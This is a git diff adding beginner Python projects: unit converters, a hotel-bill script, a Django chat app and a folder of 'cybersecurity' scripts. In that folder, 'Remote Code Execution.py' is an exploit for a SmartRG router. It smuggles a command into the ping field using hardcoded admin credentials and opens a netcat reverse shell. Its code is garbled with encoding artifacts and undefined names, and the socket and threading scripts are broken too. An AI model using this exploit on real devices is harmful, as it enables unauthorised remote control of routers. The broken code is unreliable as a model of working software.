+ categories = make_rbtns(["Distance", "Temperature"]) + for i in categories: + categories[i]['button']['command'] = init + lbl['text'] = "What would you like to convert?" + +start() diff --git a/CONVERSION SCRIPTS/Temperature and Distance Converter/requirements.txt b/CONVERSION SCRIPTS/Temperature and Distance Converter/requirements.txt new file mode 100644 index 00000000..e5637979 --- /dev/null +++ b/CONVERSION SCRIPTS/Temperature and Distance Converter/requirements.txt @@ -0,0 +1 @@ +tkinter \ No newline at end of file diff --git a/CONVERSION SCRIPTS/Weight Converter/README.md b/CONVERSION SCRIPTS/Weight Converter/README.md new file mode 100644 index 00000000..be1e1a59 --- /dev/null +++ b/CONVERSION SCRIPTS/Weight Converter/README.md @@ -0,0 +1,28 @@ + +# Weight Converter + +This is a simple GUI script that lets you convert weight in Kg(s) to different Measurement units. + +Made with Python using Tkinter module. + + + + +# Modules + +If not pre-installed, install tkinter using the following command: +(Clone and move to the directory before installation) + +``` + + pip install -r requirements.txt +``` + +# Use + +Simply run the script via terminal and use the GUI. + + +## Demo + +![Demo](https://i.imgur.com/cgoSfWP.png) diff --git a/CONVERSION SCRIPTS/Weight Converter/Requirements.txt b/CONVERSION SCRIPTS/Weight Converter/Requirements.txt new file mode 100644 index 00000000..5d6fce4a --- /dev/null +++ b/CONVERSION SCRIPTS/Weight Converter/Requirements.txt @@ -0,0 +1 @@ +tkinter diff --git a/CONVERSION SCRIPTS/Weight Converter/weight.py b/CONVERSION SCRIPTS/Weight Converter/weight.py new file mode 100644 index 00000000..f8b28675 --- /dev/null +++ b/CONVERSION SCRIPTS/Weight Converter/weight.py @@ -0,0 +1,65 @@ +#A simple gui script to convert weight in different measurement units + +#modules +import tkinter +from tkinter import Label, StringVar, Entry, Text, Button, END + + +#initialize window + +main = tkinter.Tk() +main.title("WeightTable") +main.resizable(0, 0) +main.configure(bg='#0492C2') + + +def val_kg(): + #kilograms to grams + gram = float(e2_value.get()) * 1000 + #kilograms to pound + pound = float(e2_value.get()) * 2.20462 + #kilograms to ounce + ounce = float(e2_value.get()) * 35.274 + + #converted text to text widget + t1.delete("1.0", END) + t1.insert(END, gram) + + t2.delete("1.0", END) + t2.insert(END, pound) + + t3.delete("1.0", END) + t3.insert(END, ounce) + +#label widgets +e1 = Label(main, text="Enter Weight In Kilograms") +e2_value = StringVar() +e2 = Entry(main, textvariable=e2_value) +e3 = Label(main, text="Gram") +e4 = Label(main, text="Pound") +e5 = Label(main, text="Ounce") + +#Text Widgets + +t1 = Text(main, height=1, width=20) +t2 = Text(main, height=1, width=20) +t3 = Text(main, height=1, width=20) + +#Convert Button +convert_btn = Button(main, text='Covert', command=val_kg) + +#geometry specifiers; grid method. + +e1.grid(row=0, column=0) +e2.grid(row=0, column=1) +e3.grid(row=1, column=0) +e4.grid(row=1, column=1) +e5.grid(row=1, column=2) +t1.grid(row=2, column=0) +t2.grid(row=2, column=1) +t3.grid(row=2, column=2) +convert_btn.grid(row=0, column=2) + +#run main + +main.mainloop() diff --git a/Cyber_security projects/CLIENT.py b/Cyber_security projects/CLIENT.py new file mode 100644 index 00000000..def4a71e --- /dev/null +++ b/Cyber_security projects/CLIENT.py @@ -0,0 +1,32 @@ +#!/usr/bin/python3 + +import socket +import threading + + +def send_msg(): + while True: + + msg =input().encode() + s.send(msg) + +def recv_msg(): + while True: + recevied = s.recv(1024) + print(recevied.decode()) + + +s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) +print("connecting..") +while True: + try: + s.connect("127.0.0.1",8888) + break + except CoonectionRefusedError: + continue + +print("connected....") + +t1 = threading.Thread(target=send_msg) +t1.start() +recv_msg() diff --git a/Cyber_security projects/README.md b/Cyber_security projects/README.md new file mode 100644 index 00000000..73d35858 --- /dev/null +++ b/Cyber_security projects/README.md @@ -0,0 +1,34 @@ +## Project Title +Cyber_security Projects + + +## Project Description +The Project is a comprehensive cybersecurity tool designed to enhance the security of web applications and protect them from various threats. It provides a range of robust features and functionalities to identify vulnerabilities, perform penetration testing, and strengthen the overall security posture of web applications. + +## Table of Contents +* Visit the official Python website: Go to the Python website at https://www.python.org/. + +* Download the installer: On the Python website, navigate to the Downloads section. You'll find the latest stable version of Python available for download. Choose the appropriate installer for your operating system. Python is available for Windows, macOS, and various Linux distributions. + +* Run the installer: Once the installer is downloaded, run the executable file to start the installation process. + +* Customize the installation (optional): During the installation, you may have the option to customize the installation settings. You can choose the installation directory, add Python to the system's PATH (recommended), and select optional features. + +* Start the installation: Proceed with the installation by following the prompts. The installer will extract and install Python on your system. + +* Verify the installation: After the installation is complete, open a command prompt or terminal window and enter the following command: + +``` +python --version +``` + + + +## Usage +``` +python +``` + +## Contributing +Sathwik R - https://github.com/cicada0007 + diff --git a/Cyber_security projects/Remote Code Execution.py b/Cyber_security projects/Remote Code Execution.py new file mode 100644 index 00000000..4f20f53a --- /dev/null +++ b/Cyber_security projects/Remote Code Execution.py @@ -0,0 +1,46 @@ +# Exploit Title: SmartRG Router SR510n 2.6.13 - RCE (Remote Code Execution) +# done by Sathwik.R - www.github.com/cicada0007 + +import requests +from subprocess import Popen, PIPE + +router_host =3D "http://192.168.1.1" +authorization_header =3D "YWRtaW46QWRtMW5ATDFtMyM=3D" + +lhost =3D "lo" +lport =3D 80 + +payload_port =3D 81 + + +def main(): + try: + payload_command = f"rm /tmp/s && mknod /tmp/s p && /bin/sh 0< /tmp/s | nc {LOCAL_HOST} {LOCAL_PORT} > /tmp/s" + with Popen(["echo", payload_command], stdout=PIPE) as e_proc: + Popen(["nc", "-nlvp", f"{PAYLOAD_PORT}"], stdin=e_proc.stdout) + send_payload(f"|nc {LOCAL_HOST} {PAYLOAD_PORT}|sh") + print("done.. check shell") + except Exception as e: + print(f"An error occurred: {e}") + + + +def get_session(): + url = f"{config['router_host']}/admin/ping.html" + headers = {"Authorization": config['authorization_header']} + response = requests.get(url, headers=headers) + session_key = response.text.split("&sessionKey=")[1].split("'")[0] + return session_key + + + +def send_payload(payload): + print(payload) + url =3D router_host + "/admin/pingHost.cmd" + headers =3D {"Authorization": "Basic {}".format(authorization_header)} + params =3D {"action": "add", "targetHostAddress": payload, "sessionKey"= +: get_session()} + requests.get(url, headers=3Dheaders, params=3Dparams).text + + +main() diff --git a/Cyber_security projects/SERVER.py b/Cyber_security projects/SERVER.py new file mode 100644 index 00000000..42bf4bbb --- /dev/null +++ b/Cyber_security projects/SERVER.py @@ -0,0 +1,28 @@ +#!/usr/bin/python3 + +import socket +import threading + +def send_msg(): + while True: + msg = input().encode() + client.send(msg) + +def recv_msg(): + while True: + recived = client.recv(1024) + print(recived.decode()) + + +s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) +s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) +s.bind("127.0.0.1",8888) +print("Listeniing......") +s.listen(1) +client.addr = s.accept() +print() +print("connected.....") + +t1 = threading.Thread(target=send_msg) +t1.start() +recv_msg() \ No newline at end of file diff --git a/Cyber_security projects/hotelbill.py b/Cyber_security projects/hotelbill.py new file mode 100644 index 00000000..9bd1fe32 --- /dev/null +++ b/Cyber_security projects/hotelbill.py @@ -0,0 +1,118 @@ + +#this is my python lab mini project +#-------------------------SATHWIK.R +#-------------------------SHRADDESH +#-------------------------SIDDANTH + + + + +#createing the menu + +menu={ + "pizza":{ + "small":{ + "cost": 100, + "quantity":0 + }, + "medium":{ + "cost": 200, + "quantity":0 + }, + "large":{ + "cost": 300, + "quantity":0 + + } + }, + "burger":{ + "small":{ + "cost":100, + "quantity":0 + }, + "medium":{ + "cost":100, + "quantity":0 + }, + "large":{ + "cost":100, + "quantity":0 + } + + }, + "coke":{ + "small":{ + "cost":100, + "quantity":0 + }, + "medium":{ + "cost":200, + "quantity":0 + + }, + "large":{ + "cost":300, + "quantity":0 + } + + }, + "Chicken":{ + "small":{ + "cost":100, + "quantity":0 + }, + "medium":{ + "cost":200, + "quantity":0 + }, + "large":{ + "cost":300, + "quantity":0 + } + } + + +} + + + +#bill the following + + +def bill(menu): + total_bill=0 + for item in menu: + for size in menu[item]: + total_bill += menu[item][size]["cost"] * menu[item][size]["quantity"] + return total_bill + + +#order of the entire program + +def order(menu): + while(1): + print("OUR MENU\n1.pizza\n2.burger\n3.coke\n4.chicken\n\n\n") + item =input("\nENTER THE ITEM YOU NEED TO ORDER\n") + + if item not in menu: + + print("WE ARE SORRY!!!!!\nTHE ITEM IS NOT AVILABLE IN OUR HOTEL") + continue + print("THE SIZE AVILABLE ARE \n1.small\n2.medium\n3.large\n\n") + size = input("\nENTER THE SIZE OF THE ITEM\n") + if size not in menu[item]: + print("WE ARE SORRY!!!!\nWE DONT WHAVE THAT SIZE ") + continue + quantity=int(input("\nENTER THE QUNTITY\n")) + menu[item][size]["quantity"] += quantity + print("YOUR ORDER HAS BEEN PLACED ") + print("YOUR BILL IS",bill(menu)) + + print("\nTHANK YOU FOR OUR ORDER \n VISIT AGAIN :)") + print("DO YOU WANT TO ORDER MORE?? (Y/N) ") + choice = input() + if choice == "N": + break + + +order(menu) diff --git a/Cyber_security projects/threading.py b/Cyber_security projects/threading.py new file mode 100644 index 00000000..6cd9a0d4 --- /dev/null +++ b/Cyber_security projects/threading.py @@ -0,0 +1,18 @@ +#made by Sathwik R - www.github.com/cicada0007 + +#1/usr/bin/python3 + +import threadinng + + +def loop1(): + while True: + print("loop1") + +def loop2(): + while True: + prinnt("loop2") + +t1 =threading.Threading(targrt=loop1) +t1.start() +loop2() diff --git a/DJANGO PROJECTS/Chat/Dockerfile b/DJANGO PROJECTS/Chat/Dockerfile new file mode 100644 index 00000000..808e5084 --- /dev/null +++ b/DJANGO PROJECTS/Chat/Dockerfile @@ -0,0 +1,8 @@ +FROM python:3.10 +COPY requirements.txt /requirements.txt +RUN pip install -r /requirements.txt +WORKDIR /app +COPY . /app +RUN python manage.py migrate +EXPOSE 8000 +CMD ["python","manage.py","runserver"] diff --git a/DJANGO PROJECTS/Chat/README.md b/DJANGO PROJECTS/Chat/README.md new file mode 100644 index 00000000..8fef0485 --- /dev/null +++ b/DJANGO PROJECTS/Chat/README.md @@ -0,0 +1,35 @@ +# Django Chat Application + +## Overview + +This is a simple django chat applications for real time chatting. One needs to create an account to be able to chat with others. User can create their own room for chatting. + +## Libraries and Frameworks: + +These are the libraries and frameworks used to build this chat application. +1.Django == 3.0.2 +2.django-environ == 4.1.4 +3.channels == 3.0.4 + +[![Screenshot-70.png](https://i.postimg.cc/jqWhGBq1/Screenshot-70.png)](https://postimg.cc/fkNXd297) + + +## Getting started with project +First clone the repository from Github and cd into the Djagno Projects/Chat + +Activate the virtualenv for the project + +Install project dependencies +```bash +$ pip install -r requirements.txt +``` + +Then aplly the migrations +```bash +$ python manage.py runserver +``` + +Now you can run the server +```bash +$ python manage.py runserver +``` \ No newline at end of file diff --git a/DJANGO PROJECTS/Chat/chat/__init__.py b/DJANGO PROJECTS/Chat/chat/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/DJANGO PROJECTS/Chat/chat/admin.py b/DJANGO PROJECTS/Chat/chat/admin.py new file mode 100644 index 00000000..8c38f3f3 --- /dev/null +++ b/DJANGO PROJECTS/Chat/chat/admin.py @@ -0,0 +1,3 @@ +from django.contrib import admin + +# Register your models here. diff --git a/DJANGO PROJECTS/Chat/chat/apps.py b/DJANGO PROJECTS/Chat/chat/apps.py new file mode 100644 index 00000000..2fe899ad --- /dev/null +++ b/DJANGO PROJECTS/Chat/chat/apps.py @@ -0,0 +1,6 @@ +from django.apps import AppConfig + + +class ChatConfig(AppConfig): + default_auto_field = 'django.db.models.BigAutoField' + name = 'chat' diff --git a/DJANGO PROJECTS/Chat/chat/forms.py b/DJANGO PROJECTS/Chat/chat/forms.py new file mode 100644 index 00000000..01446105 --- /dev/null +++ b/DJANGO PROJECTS/Chat/chat/forms.py @@ -0,0 +1,23 @@ +from django import forms +from django.contrib.auth.forms import UserCreationForm +from django.contrib.auth.models import User + +class NewUserForm(UserCreationForm): + email = forms.EmailField(required=True) + + class Meta: + model = User + fields = ('username', 'email', 'password1', 'password2') + + def save(self, commit=True): + user = super(NewUserForm,self).save(commit=False) + user.email = self.cleaned_data['email'] + if commit: + user.save() + return user + + def __init__(self, *args, **kwargs): + super(UserCreationForm, self).__init__(*args, **kwargs) + self.fields['username'].help_text = None + self.fields['password2'].help_text = None + self.fields['password1'].help_text = None diff --git a/DJANGO PROJECTS/Chat/chat/migrations/__init__.py b/DJANGO PROJECTS/Chat/chat/migrations/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/DJANGO PROJECTS/Chat/chat/models.py b/DJANGO PROJECTS/Chat/chat/models.py new file mode 100644 index 00000000..71a83623 --- /dev/null +++ b/DJANGO PROJECTS/Chat/chat/models.py @@ -0,0 +1,3 @@ +from django.db import models + +# Create your models here. diff --git a/DJANGO PROJECTS/Chat/chat/templates/index.html b/DJANGO PROJECTS/Chat/chat/templates/index.html new file mode 100644 index 00000000..d22e2c43 --- /dev/null +++ b/DJANGO PROJECTS/Chat/chat/templates/index.html @@ -0,0 +1,30 @@ +{% extends 'base.html' %} +{% block title %}Home{% endblock %} + +{% block content %} + +
+ {% if user.is_authenticated %} +
+

User is authenticated

+

This is a chat system app build in Python-Django.
+ +

    + Featues: +
  • Sign up to chat.
  • +
  • Log in and log out from the app.
  • +
  • Send messages and read messages.
  • +
  • Create new rooms.
  • +

+
+ {% else %} +
+

User is not authenticated

+

Make sure or logged in else you can sign up.

+ Follow this link to login or check the top right corner. + Follow this link to sign up or check the top right corner. +
+ {% endif %} +
+ +{% endblock %} \ No newline at end of file diff --git a/DJANGO PROJECTS/Chat/chat/templates/registration/login.html b/DJANGO PROJECTS/Chat/chat/templates/registration/login.html new file mode 100644 index 00000000..707a5bf6 --- /dev/null +++ b/DJANGO PROJECTS/Chat/chat/templates/registration/login.html @@ -0,0 +1,16 @@ +{% extends 'base.html' %} +{% block title %}LogIn{% endblock %} + +{% block content %} + +
+

Log In

+ +
+ {% csrf_token %} + {{ form.as_p }} + +
+
+ +{% endblock %} \ No newline at end of file diff --git a/DJANGO PROJECTS/Chat/chat/templates/signin.html b/DJANGO PROJECTS/Chat/chat/templates/signin.html new file mode 100644 index 00000000..54e1c377 --- /dev/null +++ b/DJANGO PROJECTS/Chat/chat/templates/signin.html @@ -0,0 +1,14 @@ +{% extends 'base.html' %} + +{% block title %}Sign In{% endblock %} + +{% block content %} +
+

Register

+
+ {% csrf_token %} + {{ form.as_p }} + +
+
+{% endblock %} \ No newline at end of file diff --git a/DJANGO PROJECTS/Chat/chat/templates/user.html b/DJANGO PROJECTS/Chat/chat/templates/user.html new file mode 100644 index 00000000..4b8dfae6 --- /dev/null +++ b/DJANGO PROJECTS/Chat/chat/templates/user.html @@ -0,0 +1,13 @@ +{% extends 'base.html' %} + +{% block title %}User Detail{% endblock %} + +{% block content %} +
+

User Detail

+
Username : {{ user.username }}
+
Email : {{ user.email }}
+ +
+ +{% endblock %} \ No newline at end of file diff --git a/DJANGO PROJECTS/Chat/chat/tests.py b/DJANGO PROJECTS/Chat/chat/tests.py new file mode 100644 index 00000000..7ce503c2 --- /dev/null +++ b/DJANGO PROJECTS/Chat/chat/tests.py @@ -0,0 +1,3 @@ +from django.test import TestCase + +# Create your tests here. diff --git a/DJANGO PROJECTS/Chat/chat/urls.py b/DJANGO PROJECTS/Chat/chat/urls.py new file mode 100644 index 00000000..3d0eaeaf --- /dev/null +++ b/DJANGO PROJECTS/Chat/chat/urls.py @@ -0,0 +1,11 @@ +from django.urls import path +from . import views +from django.contrib.auth.views import LoginView, LogoutView + +urlpatterns = [ + path('',views.index, name="index"), + path('accounts/login/',LoginView.as_view(), name="login"), + path('accounts/logout/',LogoutView.as_view(), name='logout'), + path('accounts/register/',views.register, name='register'), + path('user/',views.user, name="user") +] \ No newline at end of file diff --git a/DJANGO PROJECTS/Chat/chat/views.py b/DJANGO PROJECTS/Chat/chat/views.py new file mode 100644 index 00000000..45112249 --- /dev/null +++ b/DJANGO PROJECTS/Chat/chat/views.py @@ -0,0 +1,28 @@ +from django.shortcuts import render, redirect +from .forms import NewUserForm +from django.contrib.auth import login +from django.contrib import messages + +# Create your views here. +def index(request): + return render(request, 'index.html') + +def register(request): + if request.method == "POST": + form = NewUserForm(request.POST) + if form.is_valid(): + user = form.save() + login(request, user) + messages.success(request, 'Sign In successfull!') + return redirect('index') + messages.error(request, 'Invalid Information, Please try again!') + form = NewUserForm + return render(request, 'signin.html', context={'form':form}) + +def user(request): + user = request.user + context = { + 'user' : user + } + + return render(request, 'user.html', context) \ No newline at end of file diff --git a/DJANGO PROJECTS/Chat/manage.py b/DJANGO PROJECTS/Chat/manage.py new file mode 100644 index 00000000..2c49f3ac --- /dev/null +++ b/DJANGO PROJECTS/Chat/manage.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +"""Django's command-line utility for administrative tasks.""" +import os +import sys + + +def main(): + """Run administrative tasks.""" + os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'project.settings') + try: + from django.core.management import execute_from_command_line + except ImportError as exc: + raise ImportError( + "Couldn't import Django. Are you sure it's installed and " + "available on your PYTHONPATH environment variable? Did you " + "forget to activate a virtual environment?" + ) from exc + execute_from_command_line(sys.argv) + + +if __name__ == '__main__': + main() diff --git a/DJANGO PROJECTS/Chat/project/__init__.py b/DJANGO PROJECTS/Chat/project/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/DJANGO PROJECTS/Chat/project/asgi.py b/DJANGO PROJECTS/Chat/project/asgi.py new file mode 100644 index 00000000..f8c5bc63 --- /dev/null +++ b/DJANGO PROJECTS/Chat/project/asgi.py @@ -0,0 +1,30 @@ +""" +ASGI config for project project. + +It exposes the ASGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/howto/deployment/asgi/ +""" + +import os + +from django.core.asgi import get_asgi_application +from channels.routing import ProtocolTypeRouter, URLRouter +from channels.security.websocket import AllowedHostsOriginValidator +from channels.auth import AuthMiddlewareStack + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'project.settings') + +import room.routing + +application = ProtocolTypeRouter( + { + "http":get_asgi_application(), + "websocket": AllowedHostsOriginValidator( + AuthMiddlewareStack(URLRouter(room.routing.websocket_urlpatterns)) + ) + } +) + + diff --git a/DJANGO PROJECTS/Chat/project/settings.py b/DJANGO PROJECTS/Chat/project/settings.py new file mode 100644 index 00000000..31a3cb78 --- /dev/null +++ b/DJANGO PROJECTS/Chat/project/settings.py @@ -0,0 +1,145 @@ +""" +Django settings for project project. + +Generated by 'django-admin startproject' using Django 4.1.3. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/topics/settings/ + +For the full list of settings and their values, see +https://docs.djangoproject.com/en/4.1/ref/settings/ +""" + +from pathlib import Path + +# Build paths inside the project like this: BASE_DIR / 'subdir'. +BASE_DIR = Path(__file__).resolve().parent.parent + + +# Quick-start development settings - unsuitable for production +# See https://docs.djangoproject.com/en/4.1/howto/deployment/checklist/ + +# SECURITY WARNING: keep the secret key used in production secret! +from environ import Env + +env = Env() +env.read_env() +SECRET_KEY = 'MY_SECRET_KEY' + + +# SECURITY WARNING: don't run with debug turned on in production! +DEBUG = True + +ALLOWED_HOSTS = [] + + +# Application definition + +INSTALLED_APPS = [ + + 'channels', + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', + + 'chat', + 'room', +] + +ASGI_APPLICATION = 'project.asgi.application' + +MIDDLEWARE = [ + 'django.middleware.security.SecurityMiddleware', + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'django.middleware.clickjacking.XFrameOptionsMiddleware', +] + +ROOT_URLCONF = 'project.urls' + +TEMPLATES = [ + { + 'BACKEND': 'django.template.backends.django.DjangoTemplates', + 'DIRS': ['project/templates'], + 'APP_DIRS': True, + 'OPTIONS': { + 'context_processors': [ + 'django.template.context_processors.debug', + 'django.template.context_processors.request', + 'django.contrib.auth.context_processors.auth', + 'django.contrib.messages.context_processors.messages', + ], + }, + }, +] + + + + + +# Database +# https://docs.djangoproject.com/en/4.1/ref/settings/#databases + +DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': BASE_DIR / 'db.sqlite3', + } +} + + +# Password validation +# https://docs.djangoproject.com/en/4.1/ref/settings/#auth-password-validators + +AUTH_PASSWORD_VALIDATORS = [ + { + 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', + }, +] + + +# Internationalization +# https://docs.djangoproject.com/en/4.1/topics/i18n/ + +LANGUAGE_CODE = 'en-us' + +TIME_ZONE = 'UTC' + +USE_I18N = True + +USE_TZ = True + + +# Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/4.1/howto/static-files/ + +STATIC_URL = 'static/' + +# Default primary key field type +# https://docs.djangoproject.com/en/4.1/ref/settings/#default-auto-field + +DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' + +LOGIN_REDIRECT_URL = '/' +LOGOUT_REDIRECT_URL = 'login' + +CHANNEL_LAYERS = { + 'default':{ + 'BACKEND':'channels.layers.InMemoryChannelLayer' + } +} \ No newline at end of file diff --git a/DJANGO PROJECTS/Chat/project/templates/base.html b/DJANGO PROJECTS/Chat/project/templates/base.html new file mode 100644 index 00000000..a8471e1c --- /dev/null +++ b/DJANGO PROJECTS/Chat/project/templates/base.html @@ -0,0 +1,122 @@ + + + + + {% load static %} + + + ChatRoom-{% block title%}{% endblock %} + + + + + + + + {% block content %} + + {% endblock %} + + + + + \ No newline at end of file diff --git a/DJANGO PROJECTS/Chat/project/urls.py b/DJANGO PROJECTS/Chat/project/urls.py new file mode 100644 index 00000000..ab3f7d33 --- /dev/null +++ b/DJANGO PROJECTS/Chat/project/urls.py @@ -0,0 +1,23 @@ +"""project URL Configuration + +The `urlpatterns` list routes URLs to views. For more information please see: + https://docs.djangoproject.com/en/4.1/topics/http/urls/ +Examples: +Function views + 1. Add an import: from my_app import views + 2. Add a URL to urlpatterns: path('', views.home, name='home') +Class-based views + 1. Add an import: from other_app.views import Home + 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') +Including another URLconf + 1. Import the include() function: from django.urls import include, path + 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) +""" +from django.contrib import admin +from django.urls import path, include + +urlpatterns = [ + path('admin/', admin.site.urls), + path('',include('chat.urls')), + path('rooms/',include('room.urls')) +] diff --git a/DJANGO PROJECTS/Chat/project/wsgi.py b/DJANGO PROJECTS/Chat/project/wsgi.py new file mode 100644 index 00000000..67fa01cc --- /dev/null +++ b/DJANGO PROJECTS/Chat/project/wsgi.py @@ -0,0 +1,16 @@ +""" +WSGI config for project project. + +It exposes the WSGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/howto/deployment/wsgi/ +""" + +import os + +from django.core.wsgi import get_wsgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'project.settings') + +application = get_wsgi_application() diff --git a/DJANGO PROJECTS/Chat/requirements.txt b/DJANGO PROJECTS/Chat/requirements.txt new file mode 100644 index 00000000..0fdd2d1f --- /dev/null +++ b/DJANGO PROJECTS/Chat/requirements.txt @@ -0,0 +1,121 @@ +anyio==3.6.2 +argon2-cffi==21.3.0 +argon2-cffi-bindings==21.2.0 +arrow==1.2.3 +asgiref==3.6.0 +asttokens==2.2.1 +attrs==22.1.0 +Babel==2.11.0 +backcall==0.2.0 +beautifulsoup4==4.11.1 +bleach==5.0.1 +certifi==2022.12.7 +cffi==1.15.1 +channels==4.0.0 +charset-normalizer==2.1.1 +colorama==0.4.6 +comm==0.1.2 +contourpy==1.0.6 +cycler==0.11.0 +debugpy==1.6.4 +decorator==5.1.1 +defusedxml==0.7.1 +Django==4.1.5 +django-environ==0.9.0 +entrypoints==0.4 +executing==1.2.0 +fastjsonschema==2.16.2 +fonttools==4.38.0 +fqdn==1.5.1 +gitdb==4.0.10 +GitPython==3.1.29 +idna==3.4 +ipykernel==6.19.3 +ipython==8.7.0 +ipython-genutils==0.2.0 +isoduration==20.11.0 +jedi==0.18.2 +Jinja2==3.1.2 +joblib==1.2.0 +json5==0.9.10 +jsonpointer==2.3 +jsonschema==4.17.3 +jupyter-events==0.5.0 +jupyter-server-mathjax==0.2.6 +jupyter_client==7.4.8 +jupyter_core==5.1.0 +jupyter_server==2.0.1 +jupyter_server_terminals==0.4.3 +jupyterlab==3.5.2 +jupyterlab-git==0.41.0 +jupyterlab-pygments==0.2.2 +jupyterlab_server==2.16.5 +kiwisolver==1.4.4 +MarkupSafe==2.1.1 +matplotlib==3.6.2 +matplotlib-inline==0.1.6 +mistune==2.0.4 +nbclassic==0.4.8 +nbclient==0.7.2 +nbconvert==7.2.7 +nbdime==3.1.1 +nbformat==5.7.1 +nest-asyncio==1.5.6 +notebook==6.5.2 +notebook_shim==0.2.2 +numpy==1.24.0 +nvidia-cublas-cu11==11.10.3.66 +nvidia-cuda-nvrtc-cu11==11.7.99 +nvidia-cuda-runtime-cu11==11.7.99 +nvidia-cudnn-cu11==8.5.0.96 +packaging==22.0 +pandas==1.5.2 +pandocfilters==1.5.0 +parso==0.8.3 +pexpect==4.8.0 +pickleshare==0.7.5 +Pillow==9.3.0 +platformdirs==2.6.0 +plotly==5.11.0 +prometheus-client==0.15.0 +prompt-toolkit==3.0.36 +psutil==5.9.4 +ptyprocess==0.7.0 +pure-eval==0.2.2 +pycparser==2.21 +Pygments==2.13.0 +pyparsing==3.0.9 +pyrsistent==0.19.2 +python-dateutil==2.8.2 +python-json-logger==2.0.4 +pytz==2022.7 +PyYAML==6.0 +pyzmq==24.0.1 +requests==2.28.1 +rfc3339-validator==0.1.4 +rfc3986-validator==0.1.1 +scikit-learn==1.2.0 +scipy==1.9.3 +seaborn==0.12.1 +Send2Trash==1.8.0 +six==1.16.0 +smmap==5.0.0 +sniffio==1.3.0 +soupsieve==2.3.2.post1 +sqlparse==0.4.3 +stack-data==0.6.2 +tenacity==8.1.0 +terminado==0.17.1 +threadpoolctl==3.1.0 +tinycss2==1.2.1 +tomli==2.0.1 +torch==1.13.1 +tornado==6.2 +traitlets==5.8.0 +typing_extensions==4.4.0 +uri-template==1.2.0 +urllib3==1.26.13 +wcwidth==0.2.5 +webcolors==1.12 +webencodings==0.5.1 +websocket-client==1.4.2 diff --git a/DJANGO PROJECTS/Chat/room/__init__.py b/DJANGO PROJECTS/Chat/room/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/DJANGO PROJECTS/Chat/room/admin.py b/DJANGO PROJECTS/Chat/room/admin.py new file mode 100644 index 00000000..ee27c348 --- /dev/null +++ b/DJANGO PROJECTS/Chat/room/admin.py @@ -0,0 +1,5 @@ +from django.contrib import admin +from .models import Room + +# Register your models here. +admin.site.register(Room) diff --git a/DJANGO PROJECTS/Chat/room/apps.py b/DJANGO PROJECTS/Chat/room/apps.py new file mode 100644 index 00000000..38c33e75 --- /dev/null +++ b/DJANGO PROJECTS/Chat/room/apps.py @@ -0,0 +1,6 @@ +from django.apps import AppConfig + + +class RoomConfig(AppConfig): + default_auto_field = 'django.db.models.BigAutoField' + name = 'room' diff --git a/DJANGO PROJECTS/Chat/room/consumers.py b/DJANGO PROJECTS/Chat/room/consumers.py new file mode 100644 index 00000000..7c7f9099 --- /dev/null +++ b/DJANGO PROJECTS/Chat/room/consumers.py @@ -0,0 +1,31 @@ +import json + +from channels.generic.websocket import AsyncWebsocketConsumer + + +class ChatConsumer(AsyncWebsocketConsumer): + async def connect(self): + self.room_name = self.scope["url_route"]["kwargs"]["room_name"] + self.room_group_name = "chat_%s" % self.room_name + + await self.channel_layer.group_add(self.room_group_name, self.channel_name) + + await self.accept() + + async def disconnect(self, close_code): + await self.channel_layer.group_discard(self.room_group_name, self.channel_name) + + async def receive(self, text_data): + text_data_json = json.loads(text_data) + message = text_data_json["message"] + username = text_data_json["username"] + + await self.channel_layer.group_send( + self.room_group_name, {"type": "chat_message", "message": message, "username":username} + ) + + async def chat_message(self, event): + message = event["message"] + username = event["username"] + + await self.send(text_data=json.dumps({"message": message, "username": username})) \ No newline at end of file diff --git a/DJANGO PROJECTS/Chat/room/forms.py b/DJANGO PROJECTS/Chat/room/forms.py new file mode 100644 index 00000000..376a0e9b --- /dev/null +++ b/DJANGO PROJECTS/Chat/room/forms.py @@ -0,0 +1,7 @@ +from .models import Room +from django.forms import ModelForm + +class RoomForm(ModelForm): + class Meta: + model = Room + fields = ['name', 'slug'] diff --git a/DJANGO PROJECTS/Chat/room/migrations/0001_initial.py b/DJANGO PROJECTS/Chat/room/migrations/0001_initial.py new file mode 100644 index 00000000..920198d7 --- /dev/null +++ b/DJANGO PROJECTS/Chat/room/migrations/0001_initial.py @@ -0,0 +1,22 @@ +# Generated by Django 4.1.3 on 2022-11-24 08:09 + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + initial = True + + dependencies = [ + ] + + operations = [ + migrations.CreateModel( + name='Room', + fields=[ + ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('name', models.CharField(max_length=200)), + ('slug', models.SlugField(max_length=40)), + ], + ), + ] diff --git a/DJANGO PROJECTS/Chat/room/migrations/__init__.py b/DJANGO PROJECTS/Chat/room/migrations/__init__.py new file 